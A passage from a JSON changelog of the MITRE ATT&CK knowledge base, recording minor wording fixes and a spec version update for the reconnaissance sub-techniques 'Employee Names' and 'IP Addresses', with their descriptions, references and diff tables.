                    "description": "Adversaries may gather employee names that can be used during targeting. Employee names can be used to derive email addresses as well as to help guide other reconnaissance efforts and/or craft more-believable lures.\n\nAdversaries may easily gather employee names, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "reconnaissance"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1589/003",
                            "external_id": "T1589.003"
                        },
                        {
                            "source_name": "OPM Leak",
                            "description": "Cybersecurity Resource Center. (n.d.). CYBERSECURITY INCIDENTS. Retrieved September 16, 2024.",
                            "url": "https://web.archive.org/web/20230602111604/https://www.opm.gov/cybersecurity/cybersecurity-incidents/"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "PRE"
                    ],
                    "x_mitre_version": "1.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 19:28:50.415000+00:00\", \"old_value\": \"2025-10-24 17:48:57.975000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may gather employee names that can be used during targeting. Employee names can be used to derive email addresses as well as to help guide other reconnaissance efforts and/or craft more-believable lures.\\n\\nAdversaries may easily gather employee names, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).\", \"old_value\": \"Adversaries may gather employee names that can be used during targeting. Employee names be used to derive email addresses as well as to help guide other reconnaissance efforts and/or craft more-believable lures.\\n\\nAdversaries may easily gather employee names, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-Adversaries may gather employee names that can be used during targeting. Employee names be used to derive email addresses as well as to help guide other reconnaissance efforts and/or craft more-believable lures.\\n+Adversaries may gather employee names that can be used during targeting. Employee names can be used to derive email addresses as well as to help guide other reconnaissance efforts and/or craft more-believable lures.\\n \\n Adversaries may easily gather employee names, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}}",
                    "previous_version": "1.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to160__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to160__0\"><a href=\"#difflib_chg_to160__top\">t</a></td><td class=\"diff_header\" id=\"from160_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;gather&nbsp;employee&nbsp;names&nbsp;that&nbsp;can&nbsp;be&nbsp;used&nbsp;durin</td><td class=\"diff_next\"><a href=\"#difflib_chg_to160__top\">t</a></td><td class=\"diff_header\" id=\"to160_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;gather&nbsp;employee&nbsp;names&nbsp;that&nbsp;can&nbsp;be&nbsp;used&nbsp;durin</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">g&nbsp;targeting.&nbsp;Employee&nbsp;names&nbsp;be&nbsp;used&nbsp;to&nbsp;derive&nbsp;email&nbsp;addresse</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">g&nbsp;targeting.&nbsp;Employee&nbsp;names<span class=\"diff_add\">&nbsp;can</span>&nbsp;be&nbsp;used&nbsp;to&nbsp;derive&nbsp;email&nbsp;addr</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;as&nbsp;well&nbsp;as&nbsp;to&nbsp;help&nbsp;guide&nbsp;other&nbsp;reconnaissance&nbsp;efforts&nbsp;and/</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">esses&nbsp;as&nbsp;well&nbsp;as&nbsp;to&nbsp;help&nbsp;guide&nbsp;other&nbsp;reconnaissance&nbsp;efforts&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">or&nbsp;craft&nbsp;more-believable&nbsp;lures.&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;easily&nbsp;gath</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">and/or&nbsp;craft&nbsp;more-believable&nbsp;lures.&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;easily&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">er&nbsp;employee&nbsp;names,&nbsp;since&nbsp;they&nbsp;may&nbsp;be&nbsp;readily&nbsp;available&nbsp;and&nbsp;e</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">gather&nbsp;employee&nbsp;names,&nbsp;since&nbsp;they&nbsp;may&nbsp;be&nbsp;readily&nbsp;available&nbsp;a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">xposed&nbsp;via&nbsp;online&nbsp;or&nbsp;other&nbsp;accessible&nbsp;data&nbsp;sets&nbsp;(ex:&nbsp;[Social</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nd&nbsp;exposed&nbsp;via&nbsp;online&nbsp;or&nbsp;other&nbsp;accessible&nbsp;data&nbsp;sets&nbsp;(ex:&nbsp;[So</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Media](https://attack.mitre.org/techniques/T1593/001)&nbsp;or&nbsp;[S</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cial&nbsp;Media](https://attack.mitre.org/techniques/T1593/001)&nbsp;o</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">earch&nbsp;Victim-Owned&nbsp;Websites](https://attack.mitre.org/techni</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r&nbsp;[Search&nbsp;Victim-Owned&nbsp;Websites](https://attack.mitre.org/te</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ques/T1594)).(Citation:&nbsp;OPM&nbsp;Leak)&nbsp;Gathering&nbsp;this&nbsp;information</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">chniques/T1594)).(Citation:&nbsp;OPM&nbsp;Leak)&nbsp;Gathering&nbsp;this&nbsp;informa</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;may&nbsp;reveal&nbsp;opportunities&nbsp;for&nbsp;other&nbsp;forms&nbsp;of&nbsp;reconnaissance&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tion&nbsp;may&nbsp;reveal&nbsp;opportunities&nbsp;for&nbsp;other&nbsp;forms&nbsp;of&nbsp;reconnaissa</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">(ex:&nbsp;[Search&nbsp;Open&nbsp;Websites/Domains](https://attack.mitre.org</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nce&nbsp;(ex:&nbsp;[Search&nbsp;Open&nbsp;Websites/Domains](https://attack.mitre</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">/techniques/T1593)&nbsp;or&nbsp;[Phishing&nbsp;for&nbsp;Information](https://att</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.org/techniques/T1593)&nbsp;or&nbsp;[Phishing&nbsp;for&nbsp;Information](https:/</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ack.mitre.org/techniques/T1598)),&nbsp;establishing&nbsp;operational&nbsp;r</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">/attack.mitre.org/techniques/T1598)),&nbsp;establishing&nbsp;operation</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">esources&nbsp;(ex:&nbsp;[Compromise&nbsp;Accounts](https://attack.mitre.org</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">al&nbsp;resources&nbsp;(ex:&nbsp;[Compromise&nbsp;Accounts](https://attack.mitre</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">/techniques/T1586)),&nbsp;and/or&nbsp;initial&nbsp;access&nbsp;(ex:&nbsp;[Phishing](h</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.org/techniques/T1586)),&nbsp;and/or&nbsp;initial&nbsp;access&nbsp;(ex:&nbsp;[Phishin</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ttps://attack.mitre.org/techniques/T1566)&nbsp;or&nbsp;[Valid&nbsp;Accounts</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">g](https://attack.mitre.org/techniques/T1566)&nbsp;or&nbsp;[Valid&nbsp;Acco</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">](https://attack.mitre.org/techniques/T1078)).</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">unts](https://attack.mitre.org/techniques/T1078)).</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1056: Pre-compromise"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0857: Detection of Employee Names"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--0dda99f0-4701-48ca-9774-8504922e92d3",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-10-02 15:59:11.695000+00:00",
                    "modified": "2026-11-03 23:52:49.922000+00:00",
                    "name": "IP Addresses",
                    "description": "Adversaries may gather the victim's IP addresses that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. Information about assigned IP addresses may include a variety of details, such as which IP addresses are in use. IP addresses may also enable an adversary to derive other details about a victim, such as organizational size, physical location(s), Internet service provider, and where/how their publicly-facing infrastructure is hosted.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about assigned IP addresses may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "reconnaissance"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1590/005",
                            "external_id": "T1590.005"
                        },
                        {
                            "source_name": "Circl Passive DNS",
                            "description": "CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.",
                            "url": "https://www.circl.lu/services/passive-dns/"
                        },
                        {
                            "source_name": "DNS Dumpster",
                            "description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.",
                            "url": "https://dnsdumpster.com/"
                        },
                        {
                            "source_name": "WHOIS",
                            "description": "NTT America. (n.d.). Whois Lookup. Retrieved November 17, 2024.",
                            "url": "https://who.is/"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "PRE"
                    ],
                    "x_mitre_version": "1.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 23:52:49.922000+00:00\", \"old_value\": \"2025-10-24 17:48:23.845000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may gather the victim's IP addresses that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. Information about assigned IP addresses may include a variety of details, such as which IP addresses are in use. IP addresses may also enable an adversary to derive other details about a victim, such as organizational size, physical location(s), Internet service provider, and where/how their publicly-facing infrastructure is hosted.\\n\\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about assigned IP addresses may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).\", \"old_value\": \"Adversaries may gather the victim's IP addresses that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. Information about assigned IP addresses may include a variety of details, such as which IP addresses are in use. IP addresses may also enable an adversary to derive other details about a victim, such as organizational size, physical location(s), Internet service provider, and or where/how their publicly-facing infrastructure is hosted.\\n\\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about assigned IP addresses may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-Adversaries may gather the victim's IP addresses that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. Information about assigned IP addresses may include a variety of details, such as which IP addresses are in use. IP addresses may also enable an adversary to derive other details about a victim, such as organizational size, physical location(s), Internet service provider, and or where/how their publicly-facing infrastructure is hosted.\\n+Adversaries may gather the victim's IP addresses that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. Information about assigned IP addresses may include a variety of details, such as which IP addresses are in use. IP addresses may also enable an adversary to derive other details about a victim, such as organizational size, physical location(s), Internet service provider, and where/how their publicly-facing infrastructure is hosted.\\n \\n Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about assigned IP addresses may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}}",
                    "previous_version": "1.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to117__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to117__0\"><a href=\"#difflib_chg_to117__top\">t</a></td><td class=\"diff_header\" id=\"from117_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;gather&nbsp;the&nbsp;victim's&nbsp;IP&nbsp;addresses&nbsp;that&nbsp;can&nbsp;be</td><td class=\"diff_next\"><a href=\"#difflib_chg_to117__top\">t</a></td><td class=\"diff_header\" id=\"to117_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;gather&nbsp;the&nbsp;victim's&nbsp;IP&nbsp;addresses&nbsp;that&nbsp;can&nbsp;be</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;used&nbsp;during&nbsp;targeting.&nbsp;Public&nbsp;IP&nbsp;addresses&nbsp;may&nbsp;be&nbsp;allocated</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;used&nbsp;during&nbsp;targeting.&nbsp;Public&nbsp;IP&nbsp;addresses&nbsp;may&nbsp;be&nbsp;allocated</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;to&nbsp;organizations&nbsp;by&nbsp;block,&nbsp;or&nbsp;a&nbsp;range&nbsp;of&nbsp;sequential&nbsp;address</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;to&nbsp;organizations&nbsp;by&nbsp;block,&nbsp;or&nbsp;a&nbsp;range&nbsp;of&nbsp;sequential&nbsp;address</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">es.&nbsp;Information&nbsp;about&nbsp;assigned&nbsp;IP&nbsp;addresses&nbsp;may&nbsp;include&nbsp;a&nbsp;va</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">es.&nbsp;Information&nbsp;about&nbsp;assigned&nbsp;IP&nbsp;addresses&nbsp;may&nbsp;include&nbsp;a&nbsp;va</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">riety&nbsp;of&nbsp;details,&nbsp;such&nbsp;as&nbsp;which&nbsp;IP&nbsp;addresses&nbsp;are&nbsp;in&nbsp;use.&nbsp;IP&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">riety&nbsp;of&nbsp;details,&nbsp;such&nbsp;as&nbsp;which&nbsp;IP&nbsp;addresses&nbsp;are&nbsp;in&nbsp;use.&nbsp;IP&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">addresses&nbsp;may&nbsp;also&nbsp;enable&nbsp;an&nbsp;adversary&nbsp;to&nbsp;derive&nbsp;other&nbsp;detai</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">addresses&nbsp;may&nbsp;also&nbsp;enable&nbsp;an&nbsp;adversary&nbsp;to&nbsp;derive&nbsp;other&nbsp;detai</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ls&nbsp;about&nbsp;a&nbsp;victim,&nbsp;such&nbsp;as&nbsp;organizational&nbsp;size,&nbsp;physical&nbsp;loc</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ls&nbsp;about&nbsp;a&nbsp;victim,&nbsp;such&nbsp;as&nbsp;organizational&nbsp;size,&nbsp;physical&nbsp;loc</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ation(s),&nbsp;Internet&nbsp;service&nbsp;provider,&nbsp;and<span class=\"diff_sub\">&nbsp;or</span>&nbsp;where/how&nbsp;their&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ation(s),&nbsp;Internet&nbsp;service&nbsp;provider,&nbsp;and&nbsp;where/how&nbsp;their&nbsp;pub</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">publicly-facing&nbsp;infrastructure&nbsp;is&nbsp;hosted.&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;g</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">licly-facing&nbsp;infrastructure&nbsp;is&nbsp;hosted.&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;gath</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ather&nbsp;this&nbsp;information&nbsp;in&nbsp;various&nbsp;ways,&nbsp;such&nbsp;as&nbsp;direct&nbsp;colle</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">er&nbsp;this&nbsp;information&nbsp;in&nbsp;various&nbsp;ways,&nbsp;such&nbsp;as&nbsp;direct&nbsp;collecti</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ction&nbsp;actions&nbsp;via&nbsp;[Active&nbsp;Scanning](https://attack.mitre.org</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on&nbsp;actions&nbsp;via&nbsp;[Active&nbsp;Scanning](https://attack.mitre.org/te</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">/techniques/T1595)&nbsp;or&nbsp;[Phishing&nbsp;for&nbsp;Information](https://att</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">chniques/T1595)&nbsp;or&nbsp;[Phishing&nbsp;for&nbsp;Information](https://attack</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ack.mitre.org/techniques/T1598).&nbsp;Information&nbsp;about&nbsp;assigned&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.mitre.org/techniques/T1598).&nbsp;Information&nbsp;about&nbsp;assigned&nbsp;IP&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">IP&nbsp;addresses&nbsp;may&nbsp;also&nbsp;be&nbsp;exposed&nbsp;to&nbsp;adversaries&nbsp;via&nbsp;online&nbsp;o</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">addresses&nbsp;may&nbsp;also&nbsp;be&nbsp;exposed&nbsp;to&nbsp;adversaries&nbsp;via&nbsp;online&nbsp;or&nbsp;o</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r&nbsp;other&nbsp;accessible&nbsp;data&nbsp;sets&nbsp;(ex:&nbsp;[Search&nbsp;Open&nbsp;Technical&nbsp;Dat</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ther&nbsp;accessible&nbsp;data&nbsp;sets&nbsp;(ex:&nbsp;[Search&nbsp;Open&nbsp;Technical&nbsp;Databa</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">abases](https://attack.mitre.org/techniques/T1596)).(Citatio</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ses](https://attack.mitre.org/techniques/T1596)).(Citation:&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n:&nbsp;WHOIS)(Citation:&nbsp;DNS&nbsp;Dumpster)(Citation:&nbsp;Circl&nbsp;Passive&nbsp;DN</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">WHOIS)(Citation:&nbsp;DNS&nbsp;Dumpster)(Citation:&nbsp;Circl&nbsp;Passive&nbsp;DNS)&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">S)&nbsp;Gathering&nbsp;this&nbsp;information&nbsp;may&nbsp;reveal&nbsp;opportunities&nbsp;for&nbsp;o</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Gathering&nbsp;this&nbsp;information&nbsp;may&nbsp;reveal&nbsp;opportunities&nbsp;for&nbsp;othe</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ther&nbsp;forms&nbsp;of&nbsp;reconnaissance&nbsp;(ex:&nbsp;[Active&nbsp;Scanning](https://</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r&nbsp;forms&nbsp;of&nbsp;reconnaissance&nbsp;(ex:&nbsp;[Active&nbsp;Scanning](https://att</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">attack.mitre.org/techniques/T1595)&nbsp;or&nbsp;[Search&nbsp;Open&nbsp;Websites/</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ack.mitre.org/techniques/T1595)&nbsp;or&nbsp;[Search&nbsp;Open&nbsp;Websites/Dom</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td 